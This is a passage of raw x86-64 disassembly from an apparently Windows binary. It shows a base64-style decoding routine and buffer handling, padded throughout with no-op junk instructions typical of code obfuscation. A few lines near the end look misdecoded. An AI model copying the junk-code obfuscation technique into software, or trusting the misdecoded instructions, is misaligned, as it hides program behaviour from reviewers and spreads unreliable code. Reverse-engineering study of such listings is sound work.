ja 0x14001773a
lea r11, [r9 + 6]
cmp r11, qword [rsp + 0x40]
ja 0x14001773a
mov rcx, qword [rsp + 0x38]
add rcx, r10
je 0x14001773a
movzx ecx, byte [rsi + r10]
movzx r15d, byte [rcx + rax + 0x43]
cmp r15, 0xff
je case.0x140012387.1
cmp rdx, 2
jb 0x14001773a
movzx ecx, byte [rsi + r10 + 1]
movzx r14d, byte [rcx + rax + 0x43]
cmp r14, 0xff
je case.0x140012387.1
cmp rdx, 3
jb 0x14001773a
movzx ecx, byte [rsi + r10 + 2]
movzx r12d, byte [rcx + rax + 0x43]
cmp r12, 0xff
je case.0x140012387.1
cmp rdx, 4
jb 0x14001773a
movzx ecx, byte [rsi + r10 + 3]
movzx ebp, byte [rcx + rax + 0x43]
cmp rbp, 0xff
je case.0x140012387.1
cmp rdx, 5
jb 0x14001773a
movzx ecx, byte [rsi + r10 + 4]
movzx r13d, byte [rcx + rax + 0x43]
cmp r13, 0xff
je case.0x140012387.1
cmp rdx, 6
jb 0x14001773a
movzx ecx, byte [rsi + r10 + 5]
movzx ebx, byte [rcx + rax + 0x43]
cmp rbx, 0xff
je case.0x140012387.1
cmp rdx, 7
jb 0x14001773a
movzx ecx, byte [rsi + r10 + 6]
movzx ecx, byte [rcx + rax + 0x43]
cmp rcx, 0xff
je case.0x140012387.1
cmp rdx, 8
jb 0x14001773a
movzx edi, byte [rsi + r10 + 7]
movzx edi, byte [rdi + rax + 0x43]
cmp rdi, 0xff
je case.0x140012387.1
shl r15, 0x3a
shl r14, 0x34
or r14, r15
shl r12, 0x2e
or r12, r14
shl rbp, 0x28
or rbp, r12
shl r13, 0x22
or r13, rbp
shl rbx, 0x1c
or rbx, r13
shl rcx, 0x16
or rcx, rbx
shl rdi, 0x10
or rdi, rcx
bswap rdi
mov rcx, qword [rsp + 0x48]
mov dword [rcx + r9], edi
shr rdi, 0x20
mov word [rcx + r9 + 4], di
add r10, 8
add rdx, 0xfffffffffffffff8
inc r8
mov r9, r11
jmp 0x1400151ed
cmp r10, qword [rsp + 0x70]
ja 0x14001773a
add r10, rsi
add qword [rsp + 0x70], rsi
xor esi, esi
xor r8d, r8d
xor edx, edx
mov r11, r10
mov rdi, rsi
xor ecx, ecx
cmp r11, qword [rsp + 0x70]
je 0x14001540b
lea rsi, [rdi + 1]
movzx ebx, byte [r11]
inc r11
cmp rbx, 0x3d
jne 0x1400153dd
test dil, 2
je case.0x140012387.1
inc rcx
mov rdi, rsi
jmp 0x1400153b3
test rcx, rcx
jne case.0x140012387.1
movzx r10d, byte [rbx + rax + 0x43]
cmp r10, 0xff
je case.0x140012387.1
inc r8
imul ecx, r8d, 0x3a
shl r10, cl
or rdx, r10
mov r10, r11
jmp 0x1400153ae
mov rax, qword [rsp + 0x70]
sub eax, r10d
add eax, r8d
test al, 3
jne case.0x140012387.1
cmp r8, 9
jae 0x14001773a
mov eax, 0x1dd
bt eax, r8d
jae 0x14001773a
lea rax, [0x14008cfd0]
mov eax, dword [rax + r8*4]
mov r8, rdx
mov ecx, eax
shl r8, cl
test r8, r8
jne case.0x140012387.1
xor r8d, r8d
mov r10d, 0x38
cmp r8d, eax
jae 0x14001548e
cmp r9, qword [rsp + 0x40]
jae 0x14001773a
mov ecx, r10d
and cl, 0x38
mov r11, rdx
shr r11, cl
mov rcx, qword [rsp + 0x48]
mov byte [rcx + r9], r11b
inc r9
add r8d, 8
add r10d, 0xfffffff8
jmp 0x14001545c
cmp qword [rsp + 0x48], 0
je 0x14001773a
mov rax, qword [rsp + 0x40]
cmp rax, r9
cmovb r9, rax
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x248]
mov rsi, qword [rsp + 0x48]
mov r8, rsi
call fcn.14000b2b2
mov ebx, eax
mov rcx, rsi
mov rdx, qword [rsp + 0x90]
call fcn.14001b4c0
test bl, bl
je 0x14001552e
nop
mov rax, rax
mov rax, rax
xor rax, 0
add rax, 0
mov rax, rax
lea rcx, [rsp + 0xdb0]
call fcn.14000330d
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xb8]
call fcn.14001b4c0
cmp qword [rsp + 0x590], 0
jne 0x14001057e
lea rcx, [rsp + 0x590]
call fcn.14000351f
jmp 0x14001057e
or rax, rax
or rax, 0
nop
or rax, 0
mov rax, rax
nop
or rax, rax
or rax, rax
add rax, 0
nop
mov rax, rax
xor rax, 0
nop
mov rsi, qword [rsp + 0x590]
jmp 0x1400138a0
mov al, byte [rsp + 0xdb4]
movzx r8d, byte [rsp + 0xdb7]
shl r8d, 0x10
movzx ecx, word [rsp + 0xdb5]
or ecx, r8d
mov r9, qword [rsp + 0xdb8]
mov r8, r9
and r8, 0xffffffffffffff00
and qword [rsp + 0x40], r9
mov rbx, qword [rsp + 0xdc0]
mov r10, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], r10
mov r10, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], r10
mov r10, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], r10
mov r10, qword [rsp + 0xde0]
mov qword [rsp + 0x50], r10
jmp 0x1400155e7
xor eax, eax
mov qword [rsp + 0x40], rax
mov r8d, 0x100
mov r9d, 0x17
xor edx, edx
shl rcx, 0x28
and r8d, 0xffffff00
movzx edi, r9b
or rdi, qword [rsp + 0x40]
or rdi, r8
mov edx, edx
or rdx, rcx
movzx r14d, al
shl r14, 0x20
or r14, rdx
mov r13, rdi
mov ebp, r14d
shr r14, 0x20
mov eax, r14d
mov r15, rbx
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x50]
mov eax, eax
shl rax, 0x20
mov ecx, ebp
or rcx, rax
and qword [rsp + 0xdb8], 0
mov qword [rsp + 0xdc0], rcx
mov qword [rsp + 0xdc8], r13
mov qword [rsp + 0xdd0], r15
mov qword [rsp + 0xdd8], rsi
mov qword [rsp + 0xde0], r14
mov qword [rsp + 0xde8], rdi
mov qword [rsp + 0xdf0], rbx
mov qword [rsp + 0xdb0], 2
mov esi, 2
lea rcx, [rsp + 0x510]
call fcn.140003349
cmp rsi, 2
je 0x14001773a
lea rsi, [rsp + 0x1e960]
lea rdx, [rsp + 0xdb0]
mov r8d, 0x158
mov rcx, rsi
call sub.msvcrt.dll_memcpy
add rax, 0
or rax, 0
add rax, 0
sub rax, 0
nop
or rax, 0
nop
add rax, 0
or rax, 0
or rax, 0
nop
or rax, rax
add rax, 0
nop
xor rax, 0
or rax, 0
or rax, rax
or rax, 0
mov rcx, rsi
call fcn.1400028be
cmp rax, 0x1000
ja 0x14001773a
lea rcx, [rsp + 0x1e990]
call fcn.140007d03
test rax, rax
je 0x14001773a
mov rsi, rdx
lea rdx, [rsp + 0x1e960]
lea rcx, [rsp + 0x1e990]
call fcn.14003b278
test al, al
jne 0x14001773a
mov rax, qword [rsp + 0x1e988]
cmp rax, 4
jbe 0x140015768
mov rax, qword [rsp + 0x1e968]
mov rcx, qword [rsp + 0x1e970]
jmp 0x140015770
lea rcx, [rsp + 0x1e968]
test rax, rax
je 0x14001773a
test byte [rcx], 1
je 0x14001773a
mov rax, qword [rsp + 0x1e9b8]
cmp rax, 4
jbe 0x1400157a2
mov rax, qword [rsp + 0x1e998]
mov rcx, qword [rsp + 0x1e9a0]
jmp 0x1400157aa
lea rcx, [rsp + 0x1e998]
test rax, rax
je 0x14001773a
test byte [rcx], 1
je 0x14001773a
cmp rsi, 2
jb 0x14001773a
movabs rax, 0x1ffffffff
cmp rsi, rax
ja 0x14001773a
lea rsi, [rsp + 0x2e8]
mov rcx, rsi
mov rdx, qword [rsp + 0x48]
mov r8, r12
call fcn.140002845
lea rdx, [rsp + 0x1e960]
mov rcx, rsi
call fcn.14003b278
test al, al
jne 0x140017b99
mov rax, qword [rsp + 0x1e988]
cmp rax, 5
jb 0x14001581f
mov rax, qword [rsp + 0x1e968]
test rax, rax
je 0x140017b99
mov qword [rsp + 0x1d8], rsi
mov qword [rsp + 0x1d0], 2
lea r8, [rsp + 0x1e9f0]
mov rcx, qword [r8]
xor r14d, r14d
mov rax, rcx
mov qword [rsp + 0x38], rcx
cmp rcx, 2
cmove r8, r14
lea rsi, [rsp + 0x1ea20]
cmove rsi, r14
lea rax, [rsp + 0x1ea50]
mov rcx, rax
cmove rcx, r14
mov qword [rsp + 0x58], rcx
cmovne r14, qword [rax + 0x38]
jne 0x1400158ab
lea r8, [rsp + 0x1e9c0]
lea rcx, [rsp + 0x590]
lea rdx, [rsp + 0x2e8]
lea r9, [rsp + 0x1e960]
call fcn.14002f333
jmp 0x140016103
mov rax, qword [rsp + 0x1eab0]
test rax, rax
je 0x14001773a
cmp rax, 1
je 0x14001773a
mov rax, qword [rsp + 0x1ea98]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x1eaa0]
lea rbx, [rsp + 0x250]
lea rdx, [rsp + 0x2e8]
mov rcx, rbx
mov r9, rdi
call fcn.14002f333
lea r15, [rsp + 0x590]
mov rcx, r15
mov rdx, rbx
call fcn.140008113
cmp dword [r15], 2
je 0x14001773a
add rdi, 0x30
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0xf0], rax
movdqu xmm0, xmmword [rsp + 0x590]
movups xmm1, xmmword [rsp + 0x5a0]
movups xmm2, xmmword [rsp + 0x5b0]
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
cmp dword [rsp + 0x1d0], 2
jne 0x14001596d
mov rdx, qword [rsp + 0x1d8]
jmp 0x140015975
lea rdx, [rsp + 0x1d0]
lea rbx, [rsp + 0x250]
mov rcx, rbx
mov r8, rsi
mov r9, rdi
call fcn.14002f333
lea rsi, [rsp + 0x590]
mov rcx, rsi
mov rdx, rbx
call fcn.140008113
cmp dword [rsi], 2
je 0x14001773a
mov rax, qword [rsp + 0x5c0]
lea rdx, [rsp + 0x100]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x590]
movups xmm1, xmmword [rsp + 0x5a0]
movups xmm2, xmmword [rsp + 0x5b0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rcx, [rsp + 0xc0]
call fcn.14000234b
mov rax, qword [rsp + 0x1eab0]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140015bb3
movabs rax, 0x249249249249249
cmp qword [rsp + 0x40], rax
ja 0x14001773a
mov rsi, qword [rsp + 0x1eaa0]
imul rdx, qword [rsp + 0x40], 0x38
mov ecx, 8
call fcn.140024db4
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14001773a
lea rbp, [rsp + 0x598]
mov rbx, qword [rsp + 0x48]
add rbx, 8
lea rdi, [rsp + 0x180]
mov r13, qword [rsp + 0x40]
mov rax, qword [rsi + 0x28]
cmp rax, 5
jb 0x140015a6a
mov rax, qword [rsi + 8]
test rax, rax
je 0x140015a8c
lea rcx, [rsp + 0x590]
mov rdx, rsi
call fcn.14003af0d
mov byte [rsp + 0x5c0], 2
jmp 0x140015b6c
mov rcx, rdi
call fcn.14002d1f2
lea rcx, [rsp + 0x250]
lea rdx, [0x14008bfb8]
xor r8d, r8d
call fcn.14002bd47
mov r15, qword [rsp + 0x278]
lea r12, [rsp + 0x258]
cmp r15, 5
jb 0x140015ad1
mov r15, qword [rsp + 0x258]
mov r12, qword [rsp + 0x260]
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.14002bfc8
mov rax, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x188]
cmp rax, 5
jb 0x140015b05
mov rax, qword [rsp + 0x590]
cmp rax, 2
je 0x14001773a
mov eax, 8
mov qword [rsp + 0x48], rax
xor r12d, r12d
lea rsi, [rsp + 0xc0]
mov rdi, qword [rsp + 0x48]
cmp byte [rsp + 0xf0], 0
jne 0x140015bed
test r12, r12
je 0x14001773a
mov rcx, rsi
mov rdx, rdi
call fcn.140001f07
jmp 0x140015bcd
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x58]
call fcn.140002131
test r12, r12
je 0x14001773a
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x48]
call fcn.1400021f9
cmp r12, 1
je 0x14001773a
mov rax, qword [rsp + 0x48]
lea rdx, [rax + 0x38]
lea rsi, [rsp + 0xc0]
mov rcx, rsi
call fcn.140002131
lea rdx, [rsp + 0x100]
mov rcx, rsi
call fcn.140001f07
movdqu xmm0, xmmword [rsp + 0x1d0]
movups xmm1, xmmword [rsp + 0x1e0]
movups xmm2, xmmword [rsp + 0x1f0]
lea rdx, [rsp + 0x590]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x250]
mov rcx, rsi
call fcn.14002be1a
lea rdi, [rsp + 0x590]
mov rcx, rdi
mov rdx, rsi
call fcn.140008113
cmp dword [rdi], 2
je 0x14001773a
lea rcx, [rsp + 0x590]
mov rax, qword [rcx + 0x30]
lea rdx, [rsp + 0x250]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
imul r15, qword [rsp + 0x60], 0xa8
add r15, r14
add r12, 0xfffffffffffffffe
xor r13d, r13d
lea rbp, [rsp + 0x100]
lea rsi, [rsp + 0xc0]
cmp r14, r15
je 0x140015f92
cmp r13, r12
je 0x14001773a
imul rsi, qword [rsp + 0x40], 0x38
xor edi, edi
mov r14, qword [rsp + 0x48]
cmp rsi, rdi
je 0x140015fb3
lea rsi, [rsp + 0xdb8]
movaps xmm0, xmmword [rsp + 0x590]
movaps xmm1, xmmword [rsp + 0x5a0]
movaps xmm2, xmmword [rsp + 0x5b0]
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp dword [rsp + 0x38], 2
jne 0x14001614d
cmp qword [rsp + 0x1d0], 2
je 0x14001614d
lea rcx, [rsp + 0x1d0]
call fcn.14002bdef
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
lea rdx, [rsp + 0x370]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rsi, [rsp + 0xdb8]
lea r9, [rsp + 0x1e960]
mov rcx, rsi
lea r8, [rsp + 0x1e990]
call fcn.14002f333
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
lea rdx, [rsp + 0x590]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rcx, [rsp + 0x2e8]
call fcn.140005fb2
test al, al
jne 0x140017b7f
movdqa xmm6, xmmword [rsp + 0x370]
mov rdi, qword [rsp + 0x380]
movups xmm0, xmmword [rsp + 0x388]
movaps xmmword [rsp + 0x3c0], xmm0
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x3d0], rax
lea rsi, [rsp + 0x590]
mov rcx, rsi
call fcn.14002bdef
lea rcx, [rsp + 0x2e8]
call fcn.14002bdef
lea rcx, [rsp + 0x1e960]
call fcn.14003b28b
mov r14, rax
movdqu xmmword [rsi], xmm6
mov qword [rsi + 0x10], rdi
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqu xmmword [rsi + 0x18], xmm0
mov rax, qword [rsp + 0x3d0]
mov qword [rsi + 0x28], rax
lea rsi, [rsp + 0x250]
lea rbx, [rsp + 0x590]
mov rcx, rsi
mov rdx, rbx
call fcn.1400026fb
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov r9, r14
call fcn.140002ba5
mov rcx, rsi
call fcn.140003475
mov rcx, rbx
call fcn.1400034a3
cmp dword [rdi], 0x14
jne 0x14001773a
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xdc0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xdc8]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x1e960]
call fcn.14003b28b
cmp rax, 0xb
jb 0x140017b06
cmp qword [rsp + 0x48], 0
je 0x14001773a
mov rax, qword [rsp + 0x40]
mov cl, byte [rax]
xor edx, edx
call fcn.140002f0f
mov byte [rsp + 0x58], al
cmp qword [rsp + 0x48], 1
je 0x14001773a
mov r12, qword [rsp + 0x40]
mov cl, byte [r12 + 1]
mov dl, 2
call fcn.140002f0f
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x48]
lea rsi, [r12 + rax]
mov bpl, 1
mov eax, 2
xor ecx, ecx
xor r14d, r14d
xor r15d, r15d
test cl, 1
je 0x140016330
cmp r12, rsi
jne 0x140016341
jmp 0x140016381
mov rcx, rsi
sub rcx, r12
cmp rcx, rax
jbe 0x140016381
add r12, rax
add r14, rax
lea r13, [r14 + 1]
mov cl, byte [r12]
inc r12
xor edx, edx
call fcn.140002f0f
mov ebx, eax
mov ecx, ebp
call fcn.14003b1c6
and al, bl
mov ecx, eax
call fcn.14003b1c6
movzx eax, al
neg eax
xor r14d, r15d
and r14d, eax
xor r15d, r14d
dec bl
and bpl, bl
mov cl, 1
xor eax, eax
mov r14, r13
jmp 0x140016324
mov ecx, 9
sub ecx, r15d
shr ecx, 0x1f
call fcn.14003b1c6
mov ebx, eax
mov cl, byte [rsp + 0x60]
and cl, byte [rsp + 0x58]
call fcn.14003b1c6
mov esi, eax
not bpl
and bpl, 1
mov ecx, ebp
call fcn.14003b1c6
and sil, al
mov ecx, esi
call fcn.14003b1c6
and bl, al
mov ecx, ebx
call fcn.14003b1c6
test al, al
je 0x140017b06
inc r15d
movzx esi, al
neg esi
and esi, r15d
sub qword [rsp + 0x48], rsi
jb 0x14001773a
mov r14, qword [rsp + 0x40]
add rsi, r14
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
xor edx, edx
call fcn.14001b4ec
mov r13, rax
mov rbp, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rcx, r14
mov rdx, qword [rsp + 0x38]
call fcn.14001b4c0
add rax, 0
mov rax, rax
xor rax, 0
or rax, rax
or rax, 0
sub rax, 0
mov rax, rax
or rax, rax
xor rax, 0
mov rax, rax
xor rax, 0
nop
lea rsi, [rsp + 0x1e960]
mov rcx, rsi
call fcn.14003b2a1
mov rcx, rsi
call fcn.14003b3c4
lea rsi, [rsp + 0x1e9c0]
mov rcx, rsi
call fcn.14002bdef
mov rcx, qword [rsi + 0xe0]
mov rdx, qword [rsi + 0xf0]
call fcn.14002bee5
mov rcx, qword [rsi + 0xe0]
mov rdx, qword [rsi + 0xe8]
call fcn.14002bf0c
cmp dword [rsi + 0x30], 2
je 0x1400164e4
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
call fcn.14001b4c0
lea rcx, [rsp + 0x420]
call fcn.140002fb5
mov rsi, qword [rsp + 0xbf0]
mov rdx, qword [rsp + 0xbf8]
mov rcx, rsi
call fcn.14001b4c0
lea rcx, [rsp + 0x470]
call fcn.14000341c
lea rcx, [rsp + 0x340]
call fcn.14000341c
lea rcx, [rsp + 0xc40]
call fcn.1400033ad
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x460]
call fcn.14001b4c0
mov rcx, qword [rsp + 0x1c8]
mov rdx, qword [rsp + 0x3f8]
call fcn.14001b4c0
mov rcx, qword [rsp + 0x328]
mov rdx, qword [rsp + 0x330]
call fcn.140003396
mov rcx, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x318]
call fcn.140003396
mov rcx, qword [rsp + 0x4c8]
mov rdx, qword [rsp + 0x4d0]
call fcn.14001b4c0
mov rcx, qword [rsp + 0x400]
mov rdx, qword [rsp + 0x408]
call fcn.14001b4c0
lea rcx, [rsp + 0x3a0]
call fcn.14000341c
mov rcx, qword [rsp + 0x2e0]
mov rdx, qword [rsp + 0x410]
call fcn.14001b4c0
mov rcx, qword [rsp + 0x228]
mov rdx, qword [rsp + 0x230]
call fcn.14001b4c0
jmp 0x14000cc80
mov ebx, dword [rsp + 0x268]
cmp byte [rsp + 0x26c], 0
je 0x140016adf
mov r12d, 1
mov eax, 1
jmp 0x140013985
mov rcx, qword [rsp + 0xdb4]
mov edx, dword [rsp + 0xdbc]
mov dword [rsp + 0x108], edx
mov rbx, qword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], rdx
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0xde0]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x100], rcx
jmp 0x140016c9c
mov esi, dword [rsp + 0x260]
cmp esi, ebx
ja 0x140012e36
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.14003b1d1
lea rdi, [rsp + 0x250]
mov rcx, rdi
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x38]
call fcn.14003b1d1
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
lea rcx, [rsp + 0x590]
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
movdqu xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movdqa xmmword [rcx + 0x30], xmm0
movaps xmmword [rcx + 0x40], xmm1
movaps xmmword [rcx + 0x50], xmm2
call fcn.1400028be
cmp rax, 0x1000
ja 0x1400173d5
lea rbx, [rsp + 0x5c0]
mov rcx, rbx
call fcn.140007d03
test rax, rax
je 0x1400173d5
mov rsi, rdx
lea rdx, [rsp + 0x590]
mov rcx, rbx
call fcn.14003b278
test al, al
jne 0x1400173d5
mov rax, qword [rsp + 0x5b8]
cmp rax, 4
jbe 0x140016e5d
mov rax, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x5a0]
jmp 0x140016e65
mov cl, byte [rsp + 0xdb6]
mov byte [rsp + 0x102], cl
movzx ecx, word [rsp + 0xdb4]
mov word [rsp + 0x100], cx
mov rcx, qword [rsp + 0xdb7]
mov qword [rsp + 0x103], rcx
mov cl, byte [rsp + 0xdbf]
mov byte [rsp + 0x10b], cl
mov rbx, qword [rsp + 0xdc0]
mov rcx, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0xde0]
mov qword [rsp + 0x50], rcx
jmp 0x140016c9c
mov ecx, dword [rsp + 0xdbc]
mov dword [rsp + 0x598], ecx
mov rdx, qword [rsp + 0xdb4]
mov rbx, qword [rsp + 0xdc0]
mov r8, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], r8
mov r8, qword [rsp + 0xdd0]
ror byte [0xc94d6c70], 1
and al, 0x60
mov r8, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], r8
mov r8, qword [rsp + 0xde0]
mov qword [rsp + 0x50], r8
and al, 0x50
mov qword [rsp + 0x100], rdx
mov dword [rsp + 0x108], ecx
add byte [rax], al
mov rdi, qword [rsp + 0x104]
mov ecx, dword [rsp + 0x100]
add byte [rax - 0x3f], cl
loope 0x140016ccf
mov r14d, eax
or r14, rcx
jmp 0x14001560e
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x90]
jmp 0x140017735
mov r10b, byte [rsp + 0xdb7]
mov rdi, qword [rsp + 0xdb8]
mov rbx, qword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], rdx
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rdx
mov dl, byte [rsp + 0xde0]
mov r8b, byte [rsp + 0xde1]
mov r11d, dword [rsp + 0xde2]
movzx r9d, word [rsp + 0xde6]
shl r9, 0x20
or r9, r11
jmp 0x1400170f5
lea r13, [rsp + 0xdb0]
lea rdx, [rsp + 0x250]
mov rcx, r13
call fcn.140033645
mov eax, dword [r13]
cmp eax, 2
jne 0x140016e9e
lea rbp, [rsp + 0xdb0]
mov r8, qword [rbp + 4]
lea rdx, [rsp + 0x250]
mov rcx, rbp
mov r13, r8
call fcn.1400338be
mov eax, dword [rbp]
cmp eax, 2
jne 0x140016ee7
mov rcx, r13
shr rcx, 0x20
mov rbp, qword [rsp + 0xdb8]
mov r13, qword [rsp + 0xdc0]
movzx eax, byte [rsp + 0xdd8]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], rcx
call fcn.140023670
mov byte [rsp + 0x90], al
mov ecx, 2
call fcn.140023670
cmp byte [rsp + 0x90], al
je 0x140016f44
mov rbp, qword [rsp + 0x78]
shl ebp, 8
or rbp, 7
xor r8d, r8d
xor eax, eax
jmp 0x1400170c2
mov ecx, dword [rsp + 0xdb4]
mov rbx, qword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], rdx
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rdx
mov dl, byte [rsp + 0xde0]
mov r8b, byte [rsp + 0xde1]
mov r10d, dword [rsp + 0xde2]
movzx r9d, word [rsp + 0xde6]
shl r9, 0x20
or r9, r10
mov rdi, qword [rsp + 0xdb8]
mov r10d, ecx
shr r10d, 0x18
jmp 0x1400170f5
lea rcx, [rsp + 0x598]
test rax, rax
je 0x1400173d5
test byte [rcx], 1
je 0x1400173d5
mov rax, qword [rsp + 0x5e8]
cmp rax, 4
jbe 0x140017310
mov rax, qword [rsp + 0x5c8]
mov rcx, qword [rsp + 0x5d0]
jmp 0x140017318
mov ecx, dword [rsp + 0xdb4]
mov r13, qword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xdc8]
mov qword [rsp + 0x90], rdx
mov r11, qword [rsp + 0xdd0]
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x80], rdx
mov rdx, qword [rsp + 0xde0]
mov rbp, qword [rsp + 0xdb8]
jmp 0x140016f2e
mov ecx, dword [rsp + 0xdb4]
mov rbp, qword [rsp + 0xdb8]
mov r13, qword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xdc8]
mov qword [rsp + 0x90], rdx
mov r11, qword [rsp + 0xdd0]
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x80], rdx
mov rdx, qword [rsp + 0xde0]
mov r8d, edx
shr r8d, 8
cmp eax, 2
jne 0x1400170c2
cmp r8b, 2
je 0x140016f61
test rbp, rbp
je 0x140016f61
cmp byte [rsp + 0x80], 0
je 0x1400174c1
mov edi, 0x217
xor r14d, r14d
jmp 0x140016f88
cmp byte [rsp + 0x88], 0
je 0x140016f8d
mov rax, qword [rsp + 0x250]
mov byte [rax + 0x1c], 1
mov r14d, dword [rax + 0x18]
shl r14, 0x20
or r14, 1
mov edi, 0x1011517
jmp 0x14001560e
xor ebp, ebp
xor eax, eax
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x258]
cmp eax, dword [rsp + 0x25c]
jbe 0x140017190
lea rcx, [rsp + 0xdb0]
lea rdx, [rsp + 0x250]
call fcn.140033645
mov edx, dword [rsp + 0xdb0]
mov r8, qword [rsp + 0xdb4]
cmp edx, 2
jne 0x140017235
mov rax, r8
shr rax, 0x28
mov qword [rsp + 0x88], rax
mov rax, r8
movabs rcx, 0x100ff00000000
and rax, rcx
movabs rcx, 0x1001500000000
cmp rax, rcx
jne 0x1400172ad
lea rcx, [rsp + 0xdb0]
lea rdx, [rsp + 0x250]
call fcn.140033d2c
mov edx, dword [rsp + 0xdb0]
cmp edx, 2
jne 0x140017131
movdqu xmm0, xmmword [rsp + 0xdb8]
movdqu xmmword [rsp + 0x590], xmm0
lea rcx, [rsp + 0xdb0]
lea rdx, [rsp + 0x590]
call fcn.14003421e
mov edx, dword [rsp + 0xdb0]
cmp edx, 2
jne 0x140017131
mov rax, qword [rsp + 0xdc8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xdd0]
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0x598]
mov r8d, dword [rsp + 0x59c]
cmp eax, r8d
ja 0x1400173e7
mov rax, qword [rsp + 0xdc0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x80], rax
jmp 0x140016f99
mov r9, rdx
shr r9, 0x10
mov r10d, ecx
shr r10d, 0x18
mov rdi, rbp
mov rbx, r13
mov rsi, qword [rsp + 0x90]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r11
mov r11, qword [rsp + 0x80]
mov qword [rsp + 0x38], r11
shl r9, 0x10
movzx edx, dl
or rdx, r9
movzx r8d, r8b
shl r8, 8
or r8, rdx
mov qword [rsp + 0x50], r8
movzx edx, r10b
and ecx, 0xffffff
mov eax, eax
shl rdx, 0x38
shl rcx, 0x20
or rcx, rdx
or rcx, rax
mov r14, rcx
jmp 0x14001560e
mov r8d, dword [rsp + 0xdb4]
